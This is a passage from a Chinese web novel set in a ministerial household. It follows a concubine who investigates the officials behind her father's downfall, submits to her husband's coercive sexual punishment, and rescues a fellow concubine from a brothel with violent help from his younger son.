眼下发觉他性情执拗,只听了林昭明的话,就为她寻来诗集且一一批注,徐可心看着站在面前的男人,不自觉心思微动。 她放下书本,看向林怀瑾,语气温和道,“不知公子为何要将此书赠予妾身,又亲自上门拜访?” “怀瑾今日前来只为两事,一是为了送书给姨娘,二是为了昭明调职之事。” 林怀瑾收起手中的帕子,负手而立,语气平和道,“他被调职一事是父亲的决定,而他之所以被调职,又是因姨娘的差遣前去调查李家。” “母亲为此格外劳神。怀瑾前来无非也只是希望姨娘可以让昭明收手。毕竟他横行无忌,只听姨娘的话。” 调职之事是大人的决定,徐可心眸色微怔,见林怀瑾仍看着她,她压下心中异样,强迫自己回神。 “长公子,我一深宅女子,鲜少外出,若昭明不为我查明此事,何人又能帮我?” 徐可心看着他,这次没有再遮掩,直白承认令林昭明调查李家的人就是她。 好似未料到她这般坦诚,林怀瑾沉默半晌,才道,“不知怀瑾可否问一句,姨娘为何一定要调查李家,若是为了想要与李家长公子结识,想必父亲知晓后仍会因此迁怒昭明。” 徐可心不知道林昭明对他说了什么,这人竟然也认为她对李长公子有意,想到林昭明之前格外挤兑林怀瑾,她紧抿着唇,不自觉怀疑林昭明说了她爱慕李长公子的胡话,才令林怀瑾心生误解。 徐可心深呼一口气,才温声道,“长公子,妾身不知晓如何同你讲述其中缘由,但妾身只想知晓,若没了二公子,何人又能帮我?” 徐可心话语温和,目光眨也不眨地注视面前之人,让林怀瑾不得不和她对视。 旁人常说,林长公子恪守礼节,眼下林怀瑾劝她不要令林昭明做事,若她真得按林怀瑾的话做,便失了一个帮手。 按礼节来讲,这人也必须再寻一人顶替林昭明的位置,不然就是故意为难她。 徐可心直直看着他,想借礼节胁迫他,让林怀瑾再寻几个人帮她做事,可男人听完她的话后,沉默良久,忽得没来由道,“若姨娘执意调查李家,怀瑾可帮姨娘做事,还请姨娘勿要再差遣昭明。” 他眸色认真,话里莫名带着几分主动献身的意味。 徐可心闻言眸色一怔,复杂地看着他,这人劝她不要差遣林昭明,自己却主动请缨,要顶替林昭明。 徐可心彻底不懂他到底在想什么了,她微微蹙眉,见男人眸色太过认真,好似真得要帮她,事出反常,徐可心不自觉怀疑这人是不是又要算计她…… 第86章 林昭明素来藏不住情绪,千言万语都表露在面上。徐可心只要看他一眼,就知道这人的情绪是好是坏,很容易知道他在想什么。 他的长兄明显含蓄些许,更为沉静。 顶着一张古板的脸,却用那双尚且青涩的眸子看着她,目光不似大人那般沉寂,又不似林昭明那般过于直白,介于二者之间,既有男人的稳重,又不失少年气。 徐可心抚着手腕,抬眸看着面前的青年,第一次意识到这人比她年少。 她迟迟不回应,对方不仅未催促,反而沉默地站在那里,一副任她差遣的模样,见她看过来,眼皮缓慢下阖,遮住眸中情绪。 徐可心过去一直怕他们兄弟二人,认为他们太过年轻,行事但凭己心没有章法,眼下他们接连上门,主动提出让她差遣,她又忽觉,这两人于她而言好似并非只是麻烦。 只要利用得当,便是得力的仆役。 林昭明方入朝为官,行事欠妥,显然不及林长公子这把刀更为趁手。 徐可心不知晓林怀瑾为何愿意主动顶替林昭明的位置,但左右此事于她来说有利无害,她也没有拒绝的道理。 思及此,徐可心的身子不自觉放松,她单手托脸,斜倚着身子,淡淡看了男人一眼,轻声道,“妾身知晓长公子在意夫人,如今二少爷因妾身被调职,妾身也觉心口阵痛,惶惶难安,往后不会再寻他做事。” 说到此处,她扶着桌案站起身,俯身对男人微微行礼,低垂眉眼,“没有二少爷相助,今后妾身只能劳烦长公子了。” 她的声音很轻,算不得重,但语气格外生疏,透着几分冷漠的意味,可饶是如此,男人依旧面色不变,只不冷不淡地嗯了一声。 他方要说什么,一个丫鬟忽得走进,不似旁的下人垂着眉眼,这人进来后,目光有意无意地落在男人身上。 林怀瑾看了她一眼,话锋一转,温声道,“书已送到,姨娘若有不解之处,可前去城南的玉灵书院,那里的夫子学识渊博,收徒不拘一格,崇尚有教无类,只要求学者真心求问,夫子也会耐心解惑。” 林怀瑾说完,未再多语,同她行礼后,离了听雨阁。 玉灵书院…… 徐可心望着男人的背影,在心中默默记下这个地方。 丫鬟本站在一旁,见男人走了,主动上前,说帮姨娘收拾书卷。 徐可心微微颔首,捡起一本诗集翻开,想着将诗集上的名字尽数记下后,再去玉灵书院寻他。 诗集涉及人员过多,难以一一理清,她垂头写了数日,才堪堪梳理大半。 她刚知晓林昭明被调职时,还想同男人提起此事,但恰巧这几日大人政务繁忙,一直留在宫中。 见不到大人,她反反复复思索林怀瑾那日的话,又打消了念头。 毕竟林昭明因她被调职,若她再提起此事,不仅不会令林昭明官复原职,反而会害了他。 徐可心紧抿着唇,疑心大人吃味,才将林昭明调职,可仔细思索一二,又觉太过荒谬,毕竟大人素来公私分明,没道理因后宅之事迁怒林昭明。 徐可心横竖怎么想,都不明白这人究竟出于何种考虑,才将林昭明调职。 这日晚膳时,一个小厮端着食盒进来,对方模样清秀,好似还未弱冠。 她正一一记下名字时,小厮放下食盒后,站在她身旁良久未动,徐可心终于察觉到异样,抬眸看了过去。 四目对视,小厮轻轻唤了一声姨娘。 见四下无人,小厮从袖中拿出一封信,交到她手中,小声道,“姨娘,有人托我送信给你。” 徐可心拿笔的手一顿,闻言放下笔,接过信,拆开后却见落笔人是三姨娘。 信上说,李三自从被革去官职后,在李家备受冷落,鲜少有人前来拜访,不过有一官员时常上门,听说是前年新上任的吏部侍郎赵大人。 信的末尾,三姨娘又说自己如今身处李府,托徐可心照顾送信的小厮,给他一个清闲的虚职。 徐可心阖上信,抬眸看向站在一旁的小厮,忽得发觉,此人正是过去三姨娘院中的下人。 徐可心收了信,问清这人如今在何处做事,随后命人前去要人。 她如今在府中地位今非昔比,未费什么力气,就将人要了过来。 大人这几日一直未回府,若在往日,她总应惦念一二,可眼下忙于梳理官员姓名,她不自觉忘记派人前去问询一二。 整整写了几天几夜,她才彻底记下一份完整的官员名单,很快就要收尾。 她写得投入,未留意身旁的动静,听到门外的脚步声,也只以为来往之人是院中的丫鬟,等到一只手臂撑在她身侧,熟悉的冷香从身后袭近将她彻底包围时,徐可心写字的手才骤然一顿。 若旁人深夜前来,丫鬟们总要提醒一二,说何人上门拜访。 霎时知晓站在她身后的人的身份,徐可心盯着面前的官员 名单,身子僵硬至极。 男人微微俯身,贴着她耳侧,越过她拿起桌案上的名单,徐可心下意识想要阻止,害怕惹男人不快,又骤然收手。 她小心偏头,却见数日不见的男人此时看着手上的名单,意味不明地轻念了几个官员的姓名。 “刑部尚书吴凌云,吏部侍郎赵朗,苏州巡按御史林远山……” 读到此处时,男人抬手攥住她的肩膀,微微握紧,将名单放回到桌案上,意味不明道,“为夫竟不知可心对朝堂官员如此上心。” 徐可心身子僵硬,良久才放下笔,未敢言语一句。 不知为何,虽然大人未明说反对她调查当年一事,但眼下被大人发现,她心上莫名感到有些底气不足。 “妾身只是记录罢了。”徐可心垂着眉眼,底气不足道。 “因何记录,他们又有何共通之处?”男人边抚上她的侧腰,不轻不重揉捏,边微微偏头,吻上她的耳骨,轻轻啄吻,态度亲昵,好似并未因此动怒。 徐可心紧张地咽了一下口水,不知如何回答男人的话。 分明两人都知道信上的名字同何事有关,但一人明知故问,有意为难,一人心上窘迫,难以阐述。 她不开口,只僵硬的坐在那里,饶是男人吻得再过温柔缱绻,她的心上也未生出半分情欲,反而心跳鼓动如雷,好似做坏事被抓包的犯人。 徐可心紧抿着唇,极为缓慢地转过头,同身侧的男人对视。 男人眼底没有情绪,莫名透着几分审视的意味,好似审查犯人一般。 徐可心心跳一滞,不自觉攥紧衣袖。 分明男人眼下没有问责的意味,但她还是心弦紧绷,双唇微微张合,半晌却未说出一个字。 只无声对视片刻,她却好似饱受凌迟一般,心上格外不好受,复又过了片刻,眼见男人半阖眉眼,要说什么。 疑恐大人要责问她,徐可心紧抿着唇,倏地抬手攥紧男人的衣裳,主动吻了上去,堵上男人的唇。 她太害怕这人审问她了,也难以面对这人除了温情以外的目光,只能先下手为强,笨拙地吻着男人,让他不再开口。 好似未料到她这般无理取闹,男人垂眸看着她,本伏在她腰侧的手垂落,任由她亲吻,而未同往日那般回应她,好似随时可以舍弃她。 徐可心眉眼颤抖,察觉到男人冷淡的态度,索性一不做二不休,用力揽住男人的脖颈,不让他退后。 她面对旁人可以毫无触动,不在意旁人态度的好坏,但她独独难以忍受男人的审视,害怕男人同她疏远…… 第87章 徐可心攥紧男人的衣服,胡乱地亲吻,手撑在桌案上,用力按着那张名单。 男人瞥了一眼她手下的纸,不紧不慢抬手,攥住她的脖颈将她推开。 长而有力的手指覆在她的脖颈上,未用什么力气,却让她难以再吻到男人。 徐可心见状,心跳得愈发快,紧张地回握男人的手腕,甚至不敢推开,任由男人钳制她的脖颈。 四目对视,对上男人审视的目光,徐可心缓缓舔舐干涩的唇瓣,像只犯错的幼兽一般,小心翼翼地看着男人,眸色带着不加掩饰的紧张和无措。 男人半阖眉眼,无声审视她,眼底没有半分情绪,就在徐可心以为这人同自己置气时,对方忽得抬手,抚上她的下唇。 干燥地指腹不断用力摩挲,疼得徐可心眼眶酸胀。 不知晓男人到底在想什么,徐可心也不敢同往日那般同他撒娇服软,只可怜巴巴地看着他,忍受他不算温柔的抚摸。 平日里男人纵容她,她稍稍感到不适,就委屈地喊疼,男人往往会退步,其实她有时根本不疼,甚至很喜欢男人的亲近,她之所以喊疼,无非是想讨得男人的怜惜。 眼下情况不对,她就不敢同往日那般放肆,知晓只有自己足够温顺听话,才能让男人消气。 她面上的态度格外好,知道自己犯错惹他不快,就委屈巴巴地像个小媳妇一样受着,好似极为听话。 可桌案上的名单极为详细完整,明晃晃地告诉旁人,她还未放下当年一事,以前自顾不暇,只能着眼于生计,但只要抓住机会,就会深挖到底。 林远舟眉眼低垂,对上女人可怜讨好的目光,这次未收力,直接撬开她的牙关,用力按在她的舌根处,格外粗暴地撑开她的喉咙。 打不得,骂不得,但总要教训一二,才好让其害怕,就此畏惧。 两根有力的长指强硬地压着她的舌根,徐可心被迫张开牙关,下意识干呕,排斥男人的手指,可对方只冷眼看着她,任由她眼泪直流,也没有收手的意思。 平日里大人鲜少会如此粗暴对她,每每撑开她的喉咙,都是为了强迫她下跪。 知道男人要做什么,徐可心强忍着不适,未敢躲闪,等到被抓着头发跪在地上时,她才委屈地伏在男人的膝盖上。 对方坐在宽大的木椅上,无声地俯视她,衣衫整洁,而她则跪坐在男人的腿边,小心抬眸,不断讨好地唤着大人。 若在往日,未等她唤第一声,只稍稍蹙眉露出不适,男人就将她抱在怀里轻声哄着她,但现在哪怕她趴在男人的膝盖上,一口一个大人唤着,也依旧未讨得对方的怜惜。 徐可心一开始还想再挣扎片刻,等看到男人复又拿起桌案上的名单时,她顿时身子一僵,不敢再得寸进尺,只紧抿着唇,主动勾住男人的衣带。 男人方用手指强硬地撑开她的喉咙,要如何惩戒她也显然而见。 她眼下知晓自己犯了错,饶是疼了,也不敢开口求饶,而且对方根本不理会她,只拿起桌案上的诗集,随意地翻阅。 徐可心跪了一整夜,未等到对方的命令,她也不敢起身,只斜斜倚着男人的身子,又委屈又可怜地攥着他的衣服。 直到丑时,她累得昏昏欲睡,险些趴在男人腿上睡着时,才被人从地上抱起。 冷冽的清香萦绕在身侧,徐可心下意识环住男人的脖颈,埋首在他怀里闷声道,“大人今夜好生冷漠,令妾身畏惧。” 她抵着男人的胸膛,仗着看不到男人的目光,直接小声抱怨道,话音刚落,就听男人语气淡漠道,“若真畏惧,方才又为何伏膝而睡。” “……” 谎言被拆穿,徐可心微微挪着脑袋,在男人怀里轻轻蹭了蹭,含糊道,“妾身太过困倦才不禁阖眼,实则心上仍忐忑不安。” 她看不到男人的神色,不知道对方闻言是何反应,等落到床上被扯开衣裙时,她又很快知晓了。 她自知理亏,之后未敢再造次,终于快到寅时男人不得不离府上朝,她才彻底松了口气。 徐可心紧裹着被子,满是青痕的双腿露在外面,微微蜷缩,面色恬淡安静,没有半分不安的模样,也未因夜里的惩戒置气,丝毫未将其放在心上。 林远舟身着朝服,站在床前看着女人恬静的睡容,垂眸无声注视良久,才俯身抚上她的侧脸,在她的眼尾落下一个吻。 徐可心实在累得睁不开眼,只费力地从被子里挪出手臂,勾住男人的脖颈,胡乱地回吻他的侧脸,口齿不清地小声嘀咕道,“大人既然已经惩罚妾身了,就不准再同妾身置气了……” 好似于她而言,惩罚只是小事,只有他的心绪好坏才是头等大事。 林远舟半阖眉眼,过了半晌,复又吻上她的唇,轻轻啄吻,“可心真是愈发放肆了。” 男人话语斥责,好似不喜她的娇纵,但语气格外平和,不仅没有半分斥责之意,反而透着几分难以言说的纵容。 林远舟离开时,只看了眼桌案的名单,便向门外走去。 小厮正在院中洒扫,见到他连忙俯身行礼,唤了一声大人,本以为男人同往日那般不会理会 他,却见大人停下脚步,无声看着他。 小厮以为自己无意间犯了什么错,下意识想要跪地求饶,可对方只说了一句“今后在院中尽心伺候”,复又离开。 小厮站在原地,望着男人远去的背影,后怕地擦了擦额头的虚汗。 徐可心白日醒来时,只觉喉咙肿痛,一连数日都难以讲话,方一张口就觉双唇疼痛不堪,难以说出一个字。 她本想拿着名单前去玉灵书院见林怀瑾,但眼下只能留在院中,无法外出见人。 足足过了七日,她的喉咙才彻底痊愈,徐可心看着手中的名单,正想着何时前去书院时,门外忽得传来一阵仓促的脚步声。 “姨娘!姨娘!” 徐可心抬眸看去,却见小厮哭着跑了进来,过门槛时,一个不留神直接扑通一声绊倒在地,随后连滚带爬地膝行上前,仰着头哭喊道,“姨娘不好了!” 见他神色慌乱,徐可心不自觉心弦一紧,忙不迭追问,“什么不好了?” 小厮擦着眼泪,顶着满是泪痕的脸哭着道,“白日小人前去李府探望姐姐,却被李府的丫鬟告知,昨日姨娘因偷窃大夫人的首饰被李三公子发卖到青楼。” “求姨娘救救姐姐!那青楼哪里是人呆的地方?眼下姐姐怕是早就被折磨得不成样子!” 小厮哭得双脸涨红,紧紧攥着她的衣服,祈求地看着她,徐可心面色一怔,很快意识到他口中的人是三姨娘。 眼下李三公子将三姨娘卖到青楼,若她贸然前去出面救下三姨娘,难免不会将自己暴露在李家人面前。 之前她只是暗中调查,如今若救了三姨娘,便和三姨娘扯上了关系。 她沉默半晌,看着跪在她面前苦苦哀求的小厮,紧抿着唇。 若三姨娘因她涉险才被污蔑盗窃,她也没有置之不理的道理。 何况那日她方给了三姨娘一锭金子,没道理只过了数日,这人就惦念上李夫人的首饰。 李夫人为人坦率,没道理能想出这种污蔑人的法子,想必是李三公子的主意。 思及此,徐可心深呼一口气,轻轻拍了一下小厮的肩膀,让他起身。 “你去唤两个府中的护卫过来,随我前去赎你姐姐。” 小厮闻言,忙不迭起身,转身向门外跑去。 徐可心攥着袖子,眉头紧蹙,只觉李三公子做事太绝,根本不给旁人留生路。 第88章 过了未时,城中最大的窑子刚开张,路过的恩客便走了进去,三三两两地在大厅寻了一个位置,几个窑姐得了命令,从房中走出来,前去伺候,憨笑着端起茶杯,为来人倒了一杯酒。 雅间在楼上,他们坐在楼下只物色半晌,入夜后寻得称心的,就花上几两银子将人带入雅间,磋磨一顿。 有家室的人,睡完了就忙不迭提裤子,不留下过夜,若心上愧疚,便在夜市上买下一个簪子木梳,拿回去做说辞,而早就习以为常的人,直接宿在温柔乡里,不管家中之人是否惦念。 下了马车时,小厮跟在她身后,迟疑道,“姨娘,女子可入青楼吗?” 徐可心脚步一顿,看出他眉眼间的顾虑,轻声道,“无事,姨娘入府前是官妓,从教坊司走出来,早就难以再入贞洁牌坊。” 小厮面色紧绷,忙不迭道,“小人说的并非此事,而是他们见姨娘是女子,恐不会招待姨娘,甚至会阻拦姨娘……” “若是如此,更无需顾虑,女子难进,钱财易行。”徐可心看着向西边垂下的日头,头也不回地道。 还未入夜,几个窑姐身着薄衣,斜斜倚着门,站在门前招揽客人,见到路过的熟客笑着打趣几句。 “官家晚些勿要忘了前来奴家房中喝酒,那夜官家所做之诗极好,令人看之难忘。” 一个窑姐正笑着扯着一个公子的袖子,余光瞧见一身着素净的女人向门内走去,还带着三个下人,来者不善。 她下意识松开扯住公子的手,挪了半步,挡在女人面前,轻摇团扇柔声笑道,“夫人,我们这里只招待男人,若你前来寻人,不妨和奴家说说想要寻谁?奴家帮你打听一二,不过你也知道,入夜楼中来往人员无数,想必难以找到姨娘所寻之人……” 知道对方把她当成前来捉奸的恩客夫人,徐可心抬眸看了她一眼,不紧不慢握住她的手腕,迎着窑姐不解的目光,拿出五两银子放在她手中,轻轻合拢她的手指,温声道,“劳烦姑娘带路了。” 窑姐是个人精,只轻轻用手指摩挲几下,眉眼就弯了起来,她笑着收回手,自然地将银子收入袖中,抬手扶着徐可心肩膀,柔声道,“奴家在门外站得累了,正想同人说说话,夫人随奴家入内罢,奴家为夫人倒茶。” 徐可心被她拉着衣袖向里面带去,她挪着步子,顺着窑姐的力气向里面走。 她过去是千金小姐,又在教坊司呆了三年,看到大厅繁华淫靡的景象,面上既无嫌恶也无鄙夷之色,有的只是平静了然。 看惯了肮脏事,最后只发觉,天上地下都无清白人。 窑姐陪在她身侧,以为她初来风月之地,引她向楼上雅间走去,明显没有带她寻人的意思,而是想要继续绊住她的脚。 徐可心抬眸看了眼二楼,方要扯回自己手向后院走去,却听女人的哭闹声从楼上传来,声音响起的瞬间,身旁的小厮连忙抬眸看她,徐可心看了他一眼,示意他稍安勿躁。 窑姐瞧见那边的动静,轻轻笑了一声,无奈道,“那人应是做错了事被妈妈责罚了,夫人我们继续向楼上走,不碍事的,过不了多久她就喊不出来了。” 她话语温柔,说出来的话却透着习以为常的残忍。 徐可心垂着眉眼跟在她身后,待路过那间哭闹的雅间时,她停下脚步,看向身侧的护卫,眼也不抬道,“踹门。” 护卫得了命令,直接上前,砰的一声,房门就被破开,窑姐仍站在前面带路,听到声音慌乱回头,忙不迭上前阻拦,“夫人,你这是做什么?” 徐可心未再理会她,抬步走了进去。 屋内暗香萦动,一个女人站在床前,正命令三个男人撕扯床上女人的衣服。 听到破门声,女人抬眼看了过来,眉眼紧皱,方要斥责几句,目光落在护卫身上的衣服上,眼尖地认出他们是林府的下人,女人霎时换了一副笑脸。 她令三人停下,随后堆着笑走上前,“不知姑娘因何前来?可是前来寻林二公子的?哎呀,二公子已经大半年没来我们这里了。” 徐可心未理会她,直接向床前走去,却见三姨娘衣衫不整地躺在床上,露在外面的皮肤满是青痕,头发凌乱不堪,整个人奄奄一息。 一见到她,小厮就哭出了声音,扑在床上喊着姐姐。 徐可心站在床边,俯身扯过被子,将人严严实实裹紧,复又看向一旁的护卫,命他将人抱走。 老鸨本来一直站在原地,见状忙不迭上前,“哎!姑娘!你怎么抢人呢?这是我们楼里的窑姐。” 知道李家人将三姨娘卖到了这里,徐可心抬眼看她,“你只开口,我今日要带她走。” “这不是钱不钱的事情,哎呀,姑娘,这 是李家送来的人,你就算给我千金万金,我也不能让她走啊!” 老鸨话语不停,方要继续说什么,手中就被塞了一袋银钱。 里面的银子分量十足,将钱袋子撑得格外满,老鸨话语一噎,面色为难,“姑娘你这不是存心让我为难吗?” 她语气无奈,却自然地钱袋子收入袖中,“若你今日带走这女人,李三公子责怪下来,我又该如何?” 徐可心眸色不变,只淡声道,“无论你收钱与否,我今日都会带她离开。” 老鸨看了眼她身后的两个护卫,听出她话里的坚决,面上的笑意收敛几分,“姑娘,不是我说,你只寻了几个人就敢上门要人,拿我这里当夜市大街?” 话音刚落,屋内的另外三个男人走上前,垂在身侧的拳头紧握,双眸瞪得浑圆死死盯着徐可心,好似下一刻就能抬拳打在她的脸上,他们三人无一例外膘肥体壮,单站在那里一齐盯着人看时,的确极为骇人。 这般恃勇行凶之人,徐可心过去也并非未见过,她冷冷看着他们几人,并未因他们的目光就心生胆怯。 几个莽夫罢了,眼下他们几人如此强硬,无非知道有李三公子撑腰,可她如今也并非无势之人。 见她眸色冷漠,没有半分退让的意思,老鸨微微蹙眉,心上也恼火几分,看她衣着素净应是林府的丫鬟,老鸨笑道,“姑娘,若你再不放下此人,就休怪我们不留情面了,若待会儿纠缠起来,不小心伤了姑娘,那就不好了。” “你也知道,我们这烟花之地,来往酒徒甚众,若谁出门捡到了姑娘,把姑娘当成路边的赔钱货,最后受苦的可是姑娘。” 老鸨直直盯着她,话里带着不加掩饰的威胁。 徐可心抬眼看她,方要说什么,却见不知何时,身着红衣的男人站在门外,面色阴沉。 见男人眸色阴鸷,徐可心收回目光,看向面前的老鸨,“若是如此,我倒真应畏惧三分。” 老鸨闻言以为她害怕了,当即冷笑道,“还以为是个多大的人物,原来只是个打肿脸充胖子的……” 她方要冷嘲几句,可话未说完,就被人攥住衣领,砰的一声,未等众人反应,老鸨的脑袋就被重重砸在墙上。 一切发生的太过突然,三个男人下意识上前,想要救下老鸨,可对上男人狠戾的目光,霎时停下脚步,未敢再上前,一齐唤了声“林二公子”。 老鸨被砸得头脑昏花,眼睛冒星,还未等彻底回过神,复又被一头砸在墙上。 惨叫声断断续续地在雅间内响起,声音越来越小。 徐可心站在一旁,直到老鸨快晕死过去,才走上前扯住林昭明的衣服,示意他退后。 林昭明得了命令,直接松了手,老鸨霎时瘫软在地,满脸是血地倚靠着墙,疼得呻吟不停。 徐可心俯视她,温声道,“人我带走了,若李家那边问罪,只让李三公子前去林家寻我。” 话落,她就要离开,没有过多纠缠的意思。 林昭明见她要走,直接扯住她的手臂,“这人方才那般出言欺辱你,你只轻飘飘一句话就饶过这人?” “你还真是软包子不成?只对我又打又骂窝里横,在外受了欺负就装鹌鹑?我现在就站在这里给你依仗,你怕他们做什么?” 林昭明追在她身后话语不停,徐可心闻言倏地停下脚步。 她看了眼趴在护卫肩头面色青肿的三姨娘,想起方才进门时见到的情景,她转过身,直接向那三个男人走去,平声道,“跪下。” 三个男人赤着身子面面相觑,半晌没有动作,直到对上她身后林二公子的阴冷的目光,三个男人才忙不迭屈膝。 三人跪成一排,分明方才看她的目光还极为凶狠,眼下见到了林昭明,几人无一例外低垂脑袋,连蚂蚁都不敢踩似的,面色怯懦,好似方才斗狠的人不是他们一般。 徐可心缓步走至他们面前,直接抬手打在他们脸上,她未收力,手落下后,几人的脸颊霎时浮肿泛红。 饶是如此,三人也未敢哼声,只默默受着。 “方才可得手?”她问。 听出她话里的意思,三人忙不迭摇头,其中一人跪在地上,膝行半步,慌乱道,“夫人,我们都是奉命做事,并未存心想欺辱她。” 忽得想到什么,他转过头,见老鸨半死不活没有清醒的征兆,男人忙不迭抬手道,“夫人都是她命令我们做事的,若我们不从,我们就没钱可拿!” 徐可心冷眼看着他,知晓三姨娘无事,她抬步向墙角的老鸨走去,捡起桌案上的茶壶,将里面的酒水尽数倒在她头顶。 她的额头早就被砸得红肿不堪,破开了口子,眼下辛辣的酒水落在上面,本来几乎昏厥的老鸨霎时惨叫起来,声音尖锐,同方才三姨娘的哭喊声别无一二。 老鸨疼得清醒过来,仰头对上她冷漠的目光,哭着求饶道,“姑娘,她是李家送来的人,李家公子命我寻人折磨她,我也是拿钱办事啊!若姑娘想带走就带走罢,快些走罢……” 老鸨狼狈地跪趴在地上,紧紧攥着她的衣摆,不似方才那般态度强硬,只被稍稍磋磨一顿,就很快软了骨头。 徐可心垂着眉眼,看着扯着自己衣裙的手,忽得想起自己在教坊司胆战心惊的日子。 她自小饱受责罚,知晓责罚会令人身心不堪,极为折辱人,因此从不苛责旁人,可偏偏只有责罚惩处,才会令人疼,令人畏惧。 刀落在她身上,不知不觉,她也早就学会如何拿刀。 她将手中的酒壶随意地扔到地上,复又看了老鸨一眼,未再多言,带人离开窑子。 见她要走,林昭明方要追上来,临走前看了眼跪在地上的三人,命随行的侍卫将几人处理了,这才追在她身后喊道,“你走那么快做什么?等等我!” 从窑子离开,徐可心还未想好将三姨娘安置在何处,林昭明先看出她的顾虑,主动揽下活计,说会派人安置她。 徐可心闻言看了他一眼,未再多说什么。 天色昏黄,眼见日头快要落下去,徐可心才上了马车,林昭明见状也上了马车,坐在她对面,直勾勾盯着她看。 马车车厢狭窄,两人坐在那里不讲话,也能听见彼此的呼吸声。 不知过了多久,林昭明才忽得直白问,“你今日不在府中,为何要来逛窑子?” 想起他刚刚帮了自己,徐可心眼也不抬道,“旁人告诉我三姨娘被卖到这里,我便前来赎人。” “你又为何在这里?”她问。 林昭明本来面色还算平静,闻言眉眼倏地一沉,“你管我为何在这里?你都另寻新欢,让旁人顶替我,也没有身份管我。” “……” 听着耳边负气的话,徐可心话语一噎,霎时明白,这人已经知道她答应林怀瑾的事情了。 不过她也未想到,她刚答应林怀瑾,转眼这人就将她告到林昭明这里,也不知是有意的,还是存心的…… 第89章 马车内实在狭窄,某人同她负气后,又偏偏跻身到她身侧,贴着她的肩膀坐在她旁边。 林昭明本就长得高,眼下挨着她坐下,像堵墙一样紧靠着她。 过去这人时常嫌她的身子太过丰腴,可眼下两人坐在一起,远远看去,对方宽阔的肩膀反倒衬得一旁的她格外瘦弱。 她的确未提前告知林昭明,就将人舍弃了,选择了他的兄长,眼下林昭明问起此事,徐可心自知理亏,只沉默地坐在那里,半晌没有开口。 不知是马车颠簸,还是什么缘故,对方的肩膀时不时撞到她,垂在身侧的手也时常贴上她的手背,动作不算老实,好似登徒子一般。 徐可心专心喝茶,未理会男人的小动作, 直到对方的手缓慢地爬上她的后腰,隐隐要揽住她的身子时,徐可心才放下茶杯,手背抵唇轻咳一声。 几乎瞬间,搭在她腰后的手臂直接僵住,不上不下地卡在那里,片刻后,好似感到心虚,手臂向后退了退,可还未等彻底离开,又不知想到什么,直接用力揽住她的腰,将她紧紧箍在怀里。 “你辜负了我,作为补偿,你必须让我抱会儿。” 男人低垂脑袋,枕着她的肩膀,好似怕她拒绝也不和她对视,只埋首在她颈侧,不断收紧手臂。 他虽是文官,但常年习武,未曾荒废一身武艺,两条手臂结实有力,和铁钳一般紧紧箍住她的腰,话语蛮横,动作倒是格外依赖亲近,整个人靠在她身上,赖在她身上一般。 徐可心只觉腰被勒得生疼,方喝下的茶水险些吐出来。 这人要是老老实实抱着她也就罢了,偏偏抱完后,又不满足于单单抱着,又开始像条狗一样用脸轻蹭她的侧颈,高挺的鼻梁顶着她的肩膀,硌得她肩膀疼。 她看了眼肩侧男人的侧颜,轻声道,“松手。” “不松,你不讲道理,指使我干活又舍弃我,我要讨回公道。”男人埋首在她颈侧,头也不抬沉声道。 徐可心轻叹了口气,“你兄长见了你?” “甭管谁见了我,反正你就是舍弃了我。” 林昭明没理的时候,和她争辩时都理直气壮,认为自己没错,更别提他眼下占了理,更是态度蛮横,无赖地抱着她,恨不得贴在她身上一样。 人长得身形高大,在外又行事无忌,偏偏私底下极为幼稚任性,好似未长大一般,时常将论数她的过错。 分明已经入朝做官了,还像个孩子一样,将情绪写在脸上。 徐可心试着挣脱几下,可她稍微露出挣扎的意思,这人就收紧手臂。 几次无果后,徐可心索性就放弃了,任由林昭明抱着,偏头看着他,“你方才为何在那里?” 好似抱得心满意足了,这次他未出言顶撞,而是低声道,“还能为什么?不都是为了你。” “你令我调查李家,我便派人去查,从旁人口中知晓李三常来此处同人私会,寻人招待官员,便想着探查一二,谁知看见某个负心女也在那里。” “……” 负心女闻言,垂眸扯了扯衣袖。 “那你可调查出什么?” 可能是这人眼下心情好的缘故,整个人主动起身,态度也正经几分,指腹沾着茶水在桌案上随手写下一个“梁”字。 “过去李家只是末流之族,投靠势力最为强盛的梁王爷,你父亲是当朝首辅,梁王爷时常拉拢他,可你也知晓,你父亲狡兔三窟,并未在明处亲近哪位皇子。” “梁王爷心思慎重,直到你父亲入狱前几日,还邀他上门。” 徐可心垂眸,看着桌案的字,眸色不解,“若他一直拉拢父亲,又为何提到此人?” 林昭明闻言复又写了一个“李”字,“他的确拉拢你父亲,同你父亲亲近,可前提是你父亲还处于中立之地。” “这人心思慎重不假,却也睚眦必报,你父亲不领情,他又如何能任由你父亲站队旁人。” 话音刚落,徐可心没了声音。 过了良久,她才轻声道,“你的意思,送信之人是梁王爷?” “只是揣测罢了,如今梁王爷已死,其残党均在地方任官,只有李家尚且留在京中。” “大厦将倾之际,他们李家转投明主,将李家小姐送给我父亲做妾,便是如今府上的二姨娘。” 说到此处,林昭明垂眸看她,“你是赵大人送来的,二姨娘也是旁人送来的投名状,如此你还不知晓,无论送到府中的女人是否家世显贵,亦或长相貌美,都不过是官员结交的玩意罢了。” “你扪心自问,我父亲究竟是钟意你,将你纳入府中做妾,还是收下赵大人的投名状,才让你留在府中。” 林昭明的话语过于直白,好似一把刀子,复又割开她与他父亲之间的遮羞布。 若她仍同少时一般,幻想着同恋人赤诚坦白真心相爱,说不定还会难过几分。 可她早就在数年磋磨中,放下少女情怀,虽真得想要大人非她不可,但也未因大人的纵容而忘记她的身份,从而想要索求得不到的东西亦或位置。 她于大人而言,只是他的妾室,他的正妻另有其人,她也未想过取而代之。 “我时刻记得自己的身份,你不必提醒我,不单你父亲对我有恩,赵大人对我也有恩情,若非他将我带离教坊司,我又如何能脱离苦海摆脱官妓的身份?” “我早在被赵大人送到府上时,就知道自己只是一颗棋子,而我受其恩惠,也甘愿做赵大人的投名状。” 徐可心缓声陈述,用茶水将“梁”字涂抹成一摊水渍,“如今梁王爷已死,其残党又都在地方任官,依你的意思,眼下无法再调查下去?” 林昭明坐在一旁,在听完她方才的话后,面无表情地看着她,过了良久,才意味不明道,“你如今尚且年轻,难道甘愿给一个能当你父亲的人做妾?永远顶着妾室的身份,受人轻视。” 徐可心听到受人轻视四字,眼也不抬道,“我不仅是大人的妾室,也被大人写入了族谱,是林家的小姐,论辈分,你不仅要唤我庶母,还应唤我一声姑母。” 眼下只单单写入族谱,等到青姝百岁宴那日,全京城的人都会知晓她如今的身份,顶着首辅大人之妹的名头,京中权贵依旧会同过去那般,畏她三分,无人再会计较她那不堪的三年。 身旁的人没了声音,不知过了多久,他才兀地笑了一声,不似平日里那般冷嘲热讽,而是透着几分哑然。 